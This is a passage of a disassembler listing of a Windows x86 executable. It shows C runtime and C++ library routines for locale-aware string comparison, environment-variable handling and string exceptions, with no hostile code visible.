eax mov [ebp+arg_C], esi loc_41DBF2: ; CODE XREF: sub_41DB68+78j cmp [ebp+arg_14], ebx jle short loc_41DC07 push [ebp+arg_14] push [ebp+arg_10] call sub_41A1E8 pop ecx pop ecx mov [ebp+arg_14], eax loc_41DC07: ; CODE XREF: sub_41DB68+8Dj mov eax, dword_742514 cmp eax, 2 jnz short loc_41DC2C push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:off_41F00C jmp loc_41DDD3 ; --------------------------------------------------------------------------- loc_41DC2C: ; CODE XREF: sub_41DB68+A7j cmp eax, edi jnz loc_41DDD1 cmp [ebp+arg_18], ebx jnz short loc_41DC41 mov eax, dword_7422C4 mov [ebp+arg_18], eax loc_41DC41: ; CODE XREF: sub_41DB68+CFj cmp esi, ebx jz short loc_41DC4E cmp [ebp+arg_14], ebx jnz loc_41DCE6 loc_41DC4E: ; CODE XREF: sub_41DB68+DBj cmp esi, [ebp+arg_14] jnz short loc_41DC5B loc_41DC53: ; CODE XREF: sub_41DB68+13Cj ; sub_41DB68+16Dj push 2 loc_41DC55: ; CODE XREF: sub_41DB68+146j pop eax jmp loc_41DDD3 ; --------------------------------------------------------------------------- loc_41DC5B: ; CODE XREF: sub_41DB68+E9j cmp [ebp+arg_14], edi jle short loc_41DC67 loc_41DC60: ; CODE XREF: sub_41DB68+151j ; sub_41DB68+159j ... mov eax, edi jmp loc_41DDD3 ; --------------------------------------------------------------------------- loc_41DC67: ; CODE XREF: sub_41DB68+F6j cmp esi, edi jg short loc_41DCAC lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call ds:dword_41F18C ; GetCPInfo test eax, eax jz loc_41DDD1 cmp esi, ebx jle short loc_41DCB0 cmp [ebp+var_3C], 2 jb short loc_41DCAC lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_41DCAC loc_41DC92: ; CODE XREF: sub_41DB68+142j mov dl, [eax+1] cmp dl, bl jz short loc_41DCAC mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_41DCA6 cmp cl, dl jbe short loc_41DC53 loc_41DCA6: ; CODE XREF: sub_41DB68+138j inc eax inc eax cmp [eax], bl jnz short loc_41DC92 loc_41DCAC: ; CODE XREF: sub_41DB68+101j ; sub_41DB68+120j ... push 3 jmp short loc_41DC55 ; --------------------------------------------------------------------------- loc_41DCB0: ; CODE XREF: sub_41DB68+11Aj cmp [ebp+arg_14], ebx jle short loc_41DCE6 cmp [ebp+var_3C], 2 jb short loc_41DC60 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_41DC60 loc_41DCC3: ; CODE XREF: sub_41DB68+177j mov dl, [eax+1] cmp dl, bl jz short loc_41DC60 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_41DCDB cmp cl, dl jbe loc_41DC53 loc_41DCDB: ; CODE XREF: sub_41DB68+169j inc eax inc eax cmp [eax], bl jnz short loc_41DCC3 jmp loc_41DC60 ; --------------------------------------------------------------------------- loc_41DCE6: ; CODE XREF: sub_41DB68+E0j ; sub_41DB68+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call ds:dword_41F110 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp eax, ebx jz loc_41DDD1 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_413E60 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41DD35 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_41DD35: ; CODE XREF: sub_41DB68+1B5j cmp [ebp+var_24], ebx jz loc_41DDD1 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, ds:dword_41F110 call esi ; MultiByteToWideChar test eax, eax jz short loc_41DDD1 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi ; MultiByteToWideChar mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_41DDD1 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_413E60 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_41DDA0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_41DDA0: ; CODE XREF: sub_41DB68+224j cmp edi, ebx jz short loc_41DDD1 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call ds:dword_41F110 ; MultiByteToWideChar test eax, eax jz short loc_41DDD1 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:off_41F008 jmp short loc_41DDD3 ; --------------------------------------------------------------------------- loc_41DDD1: ; CODE XREF: sub_41DB68+63j ; sub_41DB68+C6j ... xor eax, eax loc_41DDD3: ; CODE XREF: sub_41DB68+BFj ; sub_41DB68+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41DB68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DDE5 proc near ; CODE XREF: sub_41DA84+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_41DE49 push 3Dh push [ebp+arg_0] call sub_41E02B mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_41DE49 cmp [ebp+arg_0], esi jz short loc_41DE49 mov eax, dword_742254 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_742258 jnz short loc_41DE2F push eax call sub_41DFC4 pop ecx mov dword_742254, eax loc_41DE2F: ; CODE XREF: sub_41DDE5+3Cj cmp eax, edi jnz short loc_41DE87 cmp [ebp+arg_4], edi jz short loc_41DE51 cmp dword_74225C, edi jz short loc_41DE51 call sub_41DA84 test eax, eax jz short loc_41DE87 loc_41DE49: ; CODE XREF: sub_41DDE5+Dj ; sub_41DDE5+22j ... or eax, 0FFFFFFFFh loc_41DE4C: ; CODE XREF: sub_41DDE5+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41DE51: ; CODE XREF: sub_41DDE5+51j ; sub_41DDE5+59j cmp ebx, edi jnz loc_41DF65 push 4 call sub_413F0B cmp eax, edi pop ecx mov dword_742254, eax jz short loc_41DE49 mov [eax], edi cmp dword_74225C, edi jnz short loc_41DE87 push 4 call sub_413F0B cmp eax, edi pop ecx mov dword_74225C, eax jz short loc_41DE49 mov [eax], edi loc_41DE87: ; CODE XREF: sub_41DDE5+4Cj ; sub_41DDE5+62j ... sub esi, [ebp+arg_0] mov edi, dword_742254 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_41DF6C mov esi, eax pop ecx test esi, esi pop ecx jl short loc_41DEE7 cmp dword ptr [edi], 0 jz short loc_41DEE7 test ebx, ebx jz short loc_41DEDF push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_413F7F pop ecx loc_41DEB9: ; CODE XREF: sub_41DDE5+E2j cmp dword ptr [edi], 0 jz short loc_41DEC9 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_41DEB9 ; --------------------------------------------------------------------------- loc_41DEC9: ; CODE XREF: sub_41DDE5+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_4157BF pop ecx test eax, eax pop ecx jz short loc_41DF19 jmp short loc_41DF14 ; --------------------------------------------------------------------------- loc_41DEDF: ; CODE XREF: sub_41DDE5+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_41DF19 ; --------------------------------------------------------------------------- loc_41DEE7: ; CODE XREF: sub_41DDE5+BDj ; sub_41DDE5+C2j test ebx, ebx jnz short loc_41DF65 test esi, esi jge short loc_41DEF1 neg esi loc_41DEF1: ; CODE XREF: sub_41DDE5+108j lea eax, ds:8[esi*4] push eax push edi call sub_4157BF pop ecx test eax, eax pop ecx jz loc_41DE49 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_41DF14: ; CODE XREF: sub_41DDE5+F8j mov dword_742254, eax loc_41DF19: ; CODE XREF: sub_41DDE5+F6j ; sub_41DDE5+100j cmp [ebp+arg_4], 0 jz short loc_41DF65 push [ebp+arg_0] call sub_413E90 inc eax inc eax push eax call sub_413F0B mov esi, eax pop ecx test esi, esi pop ecx jz short loc_41DF65 push [ebp+arg_0] push esi call sub_414FB0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call ds:off_41F004 push esi call sub_413F7F pop ecx loc_41DF65: ; CODE XREF: sub_41DDE5+6Ej ; sub_41DDE5+104j ... xor eax, eax jmp loc_41DE4C sub_41DDE5 endp ; =============== S U B R O U T I N E ======================================= sub_41DF6C proc near ; CODE XREF: sub_41DDE5+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_742254 push edi mov eax, [esi] test eax, eax jz short loc_41DFA7 mov edi, [esp+8+arg_4] loc_41DF7E: ; CODE XREF: sub_41DF6C+39j push edi push eax push [esp+10h+arg_0] call sub_41DA45 add esp, 0Ch test eax, eax jnz short loc_41DF9D mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_41DFB7 test al, al jz short loc_41DFB7 loc_41DF9D: ; CODE XREF: sub_41DF6C+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_41DF7E loc_41DFA7: ; CODE XREF: sub_41DF6C+Cj mov eax, esi sub eax, dword_742254 sar eax, 2 neg eax loc_41DFB4: ; CODE XREF: sub_41DF6C+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41DFB7: ; CODE XREF: sub_41DF6C+2Bj ; sub_41DF6C+2Fj mov eax, esi sub eax, dword_742254 sar eax, 2 jmp short loc_41DFB4 sub_41DF6C endp ; =============== S U B R O U T I N E ======================================= sub_41DFC4 proc near ; CODE XREF: sub_41DDE5+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_41DFD3 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_41DFD3: ; CODE XREF: sub_41DFC4+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_41DFE5 loc_41DFDB: ; CODE XREF: sub_41DFC4+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_41DFDB loc_41DFE5: ; CODE XREF: sub_41DFC4+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_413F0B mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_41E006 push 9 call sub_415F07 pop ecx loc_41E006: ; CODE XREF: sub_41DFC4+38j mov eax, [edi] mov ebx, edi loc_41E00A: ; CODE XREF: sub_41DFC4+5Bj test eax, eax jz short loc_41E021 push eax add ebx, 4 call sub_41E09E mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_41E00A ; --------------------------------------------------------------------------- loc_41E021: ; CODE XREF: sub_41DFC4+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_41DFC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E02B proc near ; CODE XREF: sub_41DDE5+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_74365C, 0 jnz short loc_41E046 push [ebp+arg_4] push [ebp+arg_0] call sub_415BA0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_41E046: ; CODE XREF: sub_41E02B+Aj mov ecx, [ebp+arg_0] loc_41E049: ; CODE XREF: sub_41E02B+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_41E08C movzx edx, al test byte_743761[edx], 4 jz short loc_41E078 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_41E083 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_41E087 jmp short loc_41E080 ; --------------------------------------------------------------------------- loc_41E078: ; CODE XREF: sub_41E02B+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_41E08C loc_41E080: ; CODE XREF: sub_41E02B+4Bj inc ecx jmp short loc_41E049 ; --------------------------------------------------------------------------- loc_41E083: ; CODE XREF: sub_41E02B+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_41E087: ; CODE XREF: sub_41E02B+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_41E08C: ; CODE XREF: sub_41E02B+25j ; sub_41E02B+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_41E02B endp ; =============== S U B R O U T I N E ======================================= sub_41E09E proc near ; CODE XREF: sub_408296+21p ; sub_41DFC4+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_41E0C5 push esi call sub_413E90 inc eax push eax call sub_413F0B pop ecx test eax, eax pop ecx jz short loc_41E0C5 push esi push eax call sub_414FB0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E0C5: ; CODE XREF: sub_41E09E+7j ; sub_41E09E+1Aj xor eax, eax pop esi retn sub_41E09E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41E0D0 proc near ; CODE XREF: sub_40315F+15p ; sub_4031B8+15p ... mov eax, offset loc_41E65C call sub_41459C sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_403362 mov esi, offset aStringTooLong ; "string too long" push esi call sub_413E90 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_40339E and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41E12A lea eax, [ebp-3Ch] push offset dword_41FF78 push eax mov dword ptr [ebp-3Ch], offset off_41FC34 call sub_41E5C3 pop esi sub_41E0D0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41E12A proc near ; CODE XREF: sub_41E0D0+3Fp ; sub_41E2FC+3Fp mov eax, offset loc_41E670 call sub_41459C push ecx push ecx push ebx push esi lea eax, [ebp-10h] push edi mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset byte_438A10 call sub_41E4E8 mov ebx, [ebp+8] and dword ptr [ebp-4], 0 lea edi, [esi+0Ch] push 0 mov al, [ebx] mov ecx, edi mov [edi], al call sub_403362 push ds:dword_41F240 mov ecx, edi push 0 push ebx call sub_40320F mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_41FC54 mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_41E12A endp ; =============== S U B R O U T I N E ======================================= sub_41E18E proc near ; DATA XREF: zugr1819:0041FC38o ; zugr1819:0041FC58o ... mov eax, [ecx+10h] test eax, eax jnz short locret_41E19A mov eax, offset dword_41F250 locret_41E19A: ; CODE XREF: sub_41E18E+5j retn sub_41E18E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E19B proc near ; DATA XREF: zugr1819:0041FC5Co var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41E211 lea eax, [ebp+var_1C] push offset dword_41FFE8 push eax call sub_41E5C3 sub_41E19B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41E1B8 proc near ; CODE XREF: .text:0041E1F8p ; DATA XREF: zugr1819:0041FFECo mov eax, offset loc_41E684 call sub_41459C push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_41FC54 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_403362 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_41E56F mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41E1B8 endp ; --------------------------------------------------------------------------- loc_41E1F5: ; DATA XREF: zugr1819:off_41FC54o push esi mov esi, ecx call sub_41E1B8 test byte ptr [esp+8], 1 jz short loc_41E20B push esi call sub_4145BB pop ecx loc_41E20B: ; CODE XREF: .text:0041E202j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_41E211 proc near ; CODE XREF: sub_41E19B+Ap ; sub_41E2E4+7p ... mov eax, offset loc_41E698 call sub_41459C push ecx push ebx mov ebx, [ebp+8] push esi push edi mov esi, ecx push ebx mov [ebp-10h], esi call sub_41E525 mov al, [ebx+0Ch] and dword ptr [ebp-4], 0 add ebx, 0Ch lea edi, [esi+0Ch] push 0 mov ecx, edi mov [edi], al call sub_403362 push ds:dword_41F240 mov ecx, edi push 0 push ebx call sub_40320F mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_41FC54 mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_41E211 endp ; =============== S U B R O U T I N E ======================================= sub_41E26E proc near ; CODE XREF: sub_41E2AB+20p ; DATA XREF: zugr1819:0041FF7Co mov eax, offset loc_41E6AC call sub_41459C push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_41FC54 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_403362 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_41E56F mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41E26E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E2AB proc near ; DATA XREF: zugr1819:0041FC3Co var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41E2E4 lea eax, [ebp+var_1C] push offset dword_41FF78 push eax call sub_41E5C3 loc_41E2C8: ; DATA XREF: zugr1819:off_41FC34o push esi mov esi, ecx call sub_41E26E test [esp+20h+var_18], 1 jz short loc_41E2DE push esi call sub_4145BB pop ecx loc_41E2DE: ; CODE XREF: sub_41E2AB+2Aj mov eax, esi pop esi retn 4 sub_41E2AB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41E2E4 proc near ; CODE XREF: sub_41E2AB+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41E211 mov dword ptr [esi], offset off_41FC34 mov eax, esi pop esi retn 4 sub_41E2E4 endp ; =============== S U B R O U T I N E ======================================= sub_41E2FC proc near ; CODE XREF: sub_40320F+13p ; sub_4033D3+Ep mov eax, offset loc_41E6C0 call sub_41459C sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_403362 mov esi, offset aInvalidStringP ; "invalid string position" push esi call sub_413E90 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_40339E and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41E12A lea eax, [ebp-3Ch] push offset dword_4200A0 push eax mov dword ptr [ebp-3Ch], offset off_41FC64 call sub_41E5C3 pop esi sub_41E2FC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41E356 proc near ; CODE XREF: sub_41E393+20p ; DATA XREF: zugr1819:004200A4o mov eax, offset loc_41E6D4 call sub_41459C push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_41FC54 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_403362 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_41E56F mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41E356 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E393 proc near ; DATA XREF: zugr1819:0041FC6Co var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41E3CC lea eax, [ebp+var_1C] push offset dword_4200A0 push eax call sub_41E5C3 loc_41E3B0: ; DATA XREF: zugr1819:off_41FC64o push esi mov esi, ecx call sub_41E356 test [esp+20h+var_18], 1 jz short loc_41E3C6 push esi call sub_4145BB pop ecx loc_41E3C6: ; CODE XREF: sub_41E393+2Aj mov eax, esi pop esi retn 4 sub_41E393 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41E3CC proc near ; CODE XREF: sub_41E393+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41E211 mov dword ptr [esi], offset off_41FC64 mov eax, esi pop esi retn 4 sub_41E3CC endp ; =============== S U B R O U T I N E ======================================= sub_41E3E4 proc near ; DATA XREF: .data:00421008o ; FUNCTION CHUNK AT 0041E41A SIZE 0000000C BYTES test byte_742518, 1 jnz short loc_41E3F4 or byte_742518, 1 loc_41E3F4: ; CODE XREF: sub_41E3E4+7j call sub_41E40E test byte_743898, 1 jnz short loc_41E409 or byte_743898, 1 loc_41E409: ; CODE XREF: sub_41E3E4+1Cj jmp loc_41E41A sub_41E3E4 endp ; =============== S U B R O U T I N E ======================================= sub_41E40E proc near ; CODE XREF: sub_41E3E4:loc_41E3F4p push offset nullsub_260 call sub_414980 pop ecx retn sub_41E40E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41E3E4 loc_41E41A: ; CODE XREF: sub_41E3E4:loc_41E409j push offset nullsub_260 call sub_414980 pop ecx retn ; END OF FUNCTION CHUNK FOR sub_41E3E4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_260. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41E428 proc near ; CODE XREF: sub_402AAF+5Ep ; sub_4041D7+159p jmp ds:dword_41F1D8 sub_41E428 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41E42E proc near ; CODE XREF: sub_414208+23p ; sub_4144AC+13p jmp ds:off_41F14C sub_41E42E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E440 proc near ; CODE XREF: sub_403C2B+18Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_7422AC cmp dword ptr [eax+8], 0 jnz short loc_41E493 mov al, 0FFh mov edi, edi loc_41E45C: ; CODE XREF: sub_41E440+28j ; sub_41E440+48j or al, al jz short loc_41E48E mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41E45C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41E45C sbb al, al sbb al, 0FFh loc_41E48E: ; CODE XREF: sub_41E440+1Ej movsx eax, al jmp short loc_41E4C7 ; --------------------------------------------------------------------------- loc_41E493: ; CODE XREF: sub_41E440+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41E49C: ; CODE XREF: sub_41E440+68j ; sub_41E440+80j or al, al jz short loc_41E4C7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41E49C push eax push ebx call sub_415467 mov ebx, eax add esp, 4 call sub_415467 add esp, 4 cmp bl, al jz short loc_41E49C sbb eax, eax sbb eax, 0FFFFFFFFh loc_41E4C7: ; CODE XREF: sub_41E440+51j ; sub_41E440+5Ej pop ebx pop esi pop edi leave retn sub_41E440 endp ; =============== S U B R O U T I N E ======================================= sub_41E4CC proc near ; DATA XREF: zugr1819:off_41FC8Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_41E56F test [esp+4+arg_0], 1 jz short loc_41E4E2 push esi call sub_4145BB pop ecx loc_41E4E2: ; CODE XREF: sub_41E4CC+Dj mov eax, esi pop esi retn 4 sub_41E4CC endp ; =============== S U B R O U T I N E ======================================= sub_41E4E8 proc near ; CODE XREF: sub_41E12A+1Fp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_41FC8C push dword ptr [edi] call sub_413E90 inc eax push eax call sub_414905 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_41E517 push dword ptr [edi] push eax call sub_414FB0 pop ecx pop ecx loc_41E517: ; CODE XREF: sub_41E4E8+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_41E4E8 endp ; =============== S U B R O U T I N E ======================================= sub_41E525 proc near ; CODE XREF: sub_41E211+17p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_41FC8C mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_41E562 push dword ptr [edi+4] call sub_413E90 inc eax push eax call sub_414905 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_41E568 push dword ptr [edi+4] push eax call sub_414FB0 pop ecx pop ecx jmp short loc_41E568 ; --------------------------------------------------------------------------- loc_41E562: ; CODE XREF: sub_41E525+16j mov eax, [edi+4] mov [esi+4], eax loc_41E568: ; CODE XREF: sub_41E525+2Ej ; sub_41E525+3Bj mov eax, esi pop edi pop esi retn 4 sub_41E525 endp ; =============== S U B R O U T I N E ======================================= sub_41E56F proc near ; CODE XREF: sub_41E1B8+2Bp ; sub_41E26E+2Bp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_41FC8C jz short locret_41E584 push dword ptr [ecx+4] call sub_4145BB pop ecx locret_41E584: ; CODE XREF: sub_41E56F+Aj retn sub_41E56F endp ; =============== S U B R O U T I N E ======================================= sub_41E585 proc near ; DATA XREF: zugr1819:0041FC90o mov eax, [ecx+4] test eax, eax jnz short locret_41E591 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_41E591: ; CODE XREF: sub_41E585+5j retn sub_41E585 endp ; =============== S U B R O U T I N E ======================================= sub_41E592 proc near ; CODE XREF: .text:0041E5AAp mov dword ptr [ecx], offset off_41FCAC mov ecx, [ecx+4] test ecx, ecx jz short locret_41E5A6 push ecx call sub_413F7F pop ecx locret_41E5A6: ; CODE XREF: sub_41E592+Bj retn sub_41E592 endp ; --------------------------------------------------------------------------- loc_41E5A7: ; DATA XREF: zugr1819:off_41FCACo push esi mov esi, ecx call sub_41E592 test byte ptr [esp+8], 1 jz short loc_41E5BD push esi call sub_4145BB pop ecx loc_41E5BD: ; CODE XREF: .text:0041E5B4j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E5C3 proc near ; CODE XREF: sub_41E0D0+54p ; sub_41E19B+18p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_41FCB0 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call ds:off_41F17C pop edi pop esi leave retn 8 sub_41E5C3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41E600 proc near ; DATA XREF: zugr1819:0041FE7Co ; FUNCTION CHUNK AT 00403157 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_403157 sub_41E600 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_41E61E mov ecx, [ebp+8] jmp loc_403157 ; --------------------------------------------------------------------------- locret_41E61E: ; CODE XREF: .text:0041E610j retn ; --------------------------------------------------------------------------- loc_41E61F: ; DATA XREF: sub_402CEBo mov eax, offset dword_41FE50 jmp loc_414257 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_403157 ; --------------------------------------------------------------------------- loc_41E634: ; DATA XREF: zugr1819:0041FEACo lea ecx, [ebp-1Ch] jmp loc_403157 ; --------------------------------------------------------------------------- loc_41E63C: ; DATA XREF: sub_402E8Do mov eax, offset dword_41FE80 jmp loc_414257 ; --------------------------------------------------------------------------- align 4 loc_41E648: ; DATA XREF: sub_40343Ao mov eax, offset dword_41FEB0 jmp loc_414257 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_403157 ; --------------------------------------------------------------------------- loc_41E65C: ; DATA XREF: sub_41E0D0o mov eax, offset dword_41FF88 jmp loc_414257 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-14h] jmp sub_41E56F ; --------------------------------------------------------------------------- loc_41E670: ; DATA XREF: sub_41E12Ao mov eax, offset dword_41FFB0 jmp loc_414257 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_41E56F ; --------------------------------------------------------------------------- loc_41E684: ; DATA XREF: sub_41E1B8o mov 